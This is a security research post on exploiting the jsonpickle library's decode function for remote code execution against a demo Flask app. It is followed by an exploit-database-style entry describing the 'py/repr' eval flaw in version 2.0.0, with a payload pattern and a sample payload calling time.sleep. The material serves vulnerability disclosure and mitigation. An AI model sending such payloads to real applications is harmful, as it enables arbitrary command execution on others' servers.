Skip to content

Research: Exploiting Jsonpickle to Get RCE

Source: https://www.vicarius.io/vsociety/posts/research-exploiting-jsonpickle-to-get-rce

Introduction

Jsonpickle is a python library which is widely used to serialize and deserialize python objects. Serialization is very useful to save state for an object and reconstruct the object from that state.

In this post, we will exploit the latest jsonpickle library to get remote command execution. 

Installation

Jsonpickle is available on the Python Package Index (PyPI), a repository hosting over 10TB of packages that programmers use to build their applications. We install the library with the command, pip3 install jsonpickle.

\ Setting Up Jsonpickle

For the scope of this article, we will focus on only two functions from the jsonpickle library: encode and decode.

\ First, we define a class named “zoo” and create an object for it.

alt text

Figure 1: Creating a class and an object for it

Now if we want to save the state of the object, we can encode the object with jsonpickle and print the byte stream, which can be used later to reconstruct the object with its state included.

alt text

Figure 2: Encoding the object with jsonpickle

Conversely, we can reconstruct the object with a decode function.

alt text

Figure 3: Decoding the object with jsonpickle

Attack Scenario

Now that we’ve demonstrated the two functions and how they work, we are ready to move forward with the attack.

Since we are attacking the jsonpickle library, we create a sample web application with jsonpickle to attack.

Our simple web application takes the base64 encoded serialized data and then decodes the base64 to jsonpickle object. And finally convert the jsonpickle object to actual object

alt text

Figure 4: Demonstrating encoding and decoding jsonpickle object

So, when we run the application with flask run, we can pass our data to http://127.0.0.1:5000/data?serialized= to interact with jsonpickle library

alt text

alt text

Creating the Exploit

So, we create a class RCE with member function reduce which will execute our payload.

\ After creating the object, we need to serialize the object and encode it with base64 so it can be passed to our web application.

alt text

Figure 5: Creating RCE and a serialized object

\ Now we copy the base64 payload and pass it to our web application, and we see that the command execution is successful and we have compromised the application.

alt text

alt text

Figure 6: Compromised application from base64 payload

Key Takeaway

The vulnerability is in the latest version of the jsonpickle library. As there are no fixes available, use of this library should be avoided. If the need to use jsonpickle still arises, ensure that jsonpickle does not handle unprocessed user data.

python jsonpickle 2.0.0 - Remote Code Execution

# Exploit Title: python jsonpickle 2.0.0 - Remote Code Execution
# Date: 24-2-2021
# Vendor Homepage: https://jsonpickle.github.io
# Exploit Author: Adi Malyanker, Shay Reuven
# Software Link: https://github.com/jsonpickle/jsonpickle
# Version: 2.0.0
# Tested on: windows, linux

#   Python is an open source language. jsonickle module is provided to convert objects into a serialized form, 
#   and later recover the data back into an object. the decode is used to undeserialize serialized strings.

#   If malicious data is deserialized, it will execute arbitrary Python commands. It is also possible to make system() calls. 
#   the problem is in the inner function loadrepr function which eval each serialized string which contains "py/repr".

#   The vulnerability exists from the first version till the current version for backward compatibility. no patch is provided yet

#   the payload was found during our research made on deserialization functions.

#   the pattern should be :
#   {..{"py/repr":<the module to import>/<the command to be executed.>}..}

#   example:

malicious = '{"1": {"py/repr": "time/time.sleep(10)"}, "2": {"py/id": 67}}'

#   the command on the server side
some_parameter = jsonpickle.decode(malicious)